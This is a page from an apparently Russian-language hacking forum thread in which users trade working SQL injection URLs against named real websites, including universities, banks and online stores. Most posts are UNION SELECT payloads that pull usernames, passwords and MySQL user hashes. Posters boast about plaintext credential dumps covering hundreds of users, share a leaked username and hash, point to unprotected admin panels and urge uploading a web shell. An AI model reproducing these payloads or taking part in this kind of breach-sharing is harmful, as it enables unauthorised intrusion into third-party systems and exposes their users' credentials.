SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    после каждого обнавления странички вылазит окошко с предложеим выбрать принтер что бы распечатать. пока столбцы побирал - взбесило =)
     
  2. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    http://www.aarda.org/research/research_display.php?ID=-1+union+select+1,2,3,concat(username,char(58),pass),5,6,7+from+user+limit+0,1/*

    http://www.lautrecampagne.org/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table_name,15,16,17,18,19,20,null,22,23,24+from+INFORMATION_SCHEMA.TABLES+limit+0,1/*

    http://eierstock-krebs.de/start.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+sites/*
     
    1 person likes this.
  3. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    xoops куле ;)
     
  4. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    Code:
    http://articles.org.ru/cfaq/index.php?catid=-1+union+select+convert(user()+using+cp1251),2/*
     
    3 people like this.
  5. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    типа платный порно-сайт

    bestmove.ru

    http://bestmove.ru/phpmyadmin/
     
  6. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    http://www.phpdoc.org/news.php?id=-1+union+select+1,concat(name,char(58),password),3,4,5+from+users/*
     
  7. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Code:
    http://www.keckobservatory.org/article.php?id=-99+union+select+1,2,3,4,5,6,7,8+from+mysql.user/*
    Дальше сами =)
    Code:
     http://www.apahelpcenter.org/featuredtopics/feature.php?id=-6+union+select+password,2,3,user(),5,version(),7+from+users/*
    Пароли в чистом виде
     
    1 person likes this.
  8. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    Code:
    http://www.witze-welt.de/videos/showvideo.php?id=-1+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16+from+mysql.user/*
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ООО КБ "Эргобанк"
     
    1 person likes this.
  10. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    Пассы в чистом виде)

    хе, и логин и пароль admin, правда в админку (http://dety.info/admin) с таким логином и паролем не попадеш.
     
    #930 Colkru, 12 Mar 2007
    Last edited: 12 Mar 2007
    1 person likes this.
  11. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.krasota.ru/krasota/news/show.htpl?id=-1+union+select+1,2,3,4,5,concat(database(),char(58),user(),char(58),version()),7,8,9,10,11,12,13/*
    Code:
    http://www.sibinfo.org/forma.php?classid=-1+union+select+concat(database(),char(58),user(),char(58),version())/*
     
  12. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    259 пользователей, пассы в чистом виде.
     
    2 people like this.
  13. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Code:
    http://www.fortress.ru/products.php?id=-1+union+select+1,convert(concat(login,0x3a,password)+using+latin1),3,4,5,6,7,8,9,10+from+users+limit+0,1/*
    alvisha:62f31c50cb2d36b5e3a7e06a5d43f48a
    798 юзеров

    когда нашел админку, подумал... нафиг я все это подбирал)
    база юзеров, доступ без авторизации :D
    http://www.fortress.ru/admin/users/index.php
    остальное: http://www.fortress.ru/admin/
     
  14. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    Code:
    http://www.zagorod.net/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    Code:
    http://art.specialradio.ru/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8/*
     
  15. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    ну собствено вот....

    http://www.pij.org/details.php?id=-820+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*


    http://www.onlinenews.com.pk/details.php?id=-85519+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

    http://www.hpcalc.org/details.php?id=-3644+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users/*

    http://www.debate21.com/comic.php?id=-64+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*

    http://physiology.case.edu/faculty.php?id=-91+union+select+1,password,3,4,5,6,7,8,9+from+mysql.user/*

    http://dma.ucla.edu/people/faculty.php?ID=-16+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

    http://wineserver.ucdavis.edu/people/faculty.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

    http://bme.rutgers.edu/faculty.php?id=-55+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat(login,char(58),password),14,15,16,17,18,19,20+from+users/*

    http://www.bard.edu/academics/faculty/faculty.php?action=details&id=-217+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*

    http://las.arts.ubc.ca/las4/faculty.php?facultyid=-115+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

    http://www.clark.edu/news_events/faculty_experts/faculty.php?id=-6+union+select+1,2,3,4,5,6,7,8,9,10,11/*
     
    1 person likes this.
  16. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Code:
    http://www.de-viz.ru/articles_view.php?articles_id=-1+union+select+1,2,3,concat(user,0x3a,password),5,6,7,8,9+from+mysql.user/*
    root:67457e226a1a15bd
    mysql-hash

    next:

    Code:
    http://www.masterkit.ru/main/set.php?num=-1+union+select+1,2,3,4,5,concat(name,0x3a,pass),7,8,9,10,11,12,13,14+from+user+limit+0,1/*
    122 юзера, пассы чистые

    эх)
     
    #936 n1†R0x, 12 Mar 2007
    Last edited: 12 Mar 2007
  17. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    Code:
    http://www.dukemednews.duke.edu/gallery/detail.php?id=-1+union+select+concat(user,char(58),password),2+from+mysql.user+limit+0,1/*
    Code:
    http://dewerelddraaitdoor.vara.nl/jakhalzen.php?id=-1+union+select+1,2,3,version(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    Code:
    http://avtosalon.in.ua/salon_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    
    Вот еще несколько))) :cool:
     
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    mpio

    Code:
     http://www.mpio.com.ru/goods/product.php?id=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
     
    1 person likes this.
  19. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    www.tas-combank.com.ua


    Code:
    http://www.tas-combank.com.ua/index.php?cat=8&news=-1+union+select+1,2,3,4,5,6,7,8,9/*
     
    1 person likes this.
  20. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    заливай шелл...^^
     
Thread Status:
Not open for further replies.